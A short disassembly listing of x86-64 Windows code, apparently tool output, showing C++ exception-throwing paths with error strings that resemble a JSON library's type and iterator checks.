lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x38]
call fcn.140024e50
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x38]
call fcn.140024e50
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x68]
call fcn.140009db0
nop
lea r8, [rsp + 0x68]
mov edx, Ordinal_217
lea rcx, [rbp]
call fcn.14000daa0
lea rdx, [0x1400a5918]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rsp + 0x68]
call fcn.140009db0
nop
lea r8, [rsp + 0x68]
mov edx, 0xd4
lea rcx, [rbp]
call fcn.14000daa0
lea rdx, [0x1400a5918]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
int3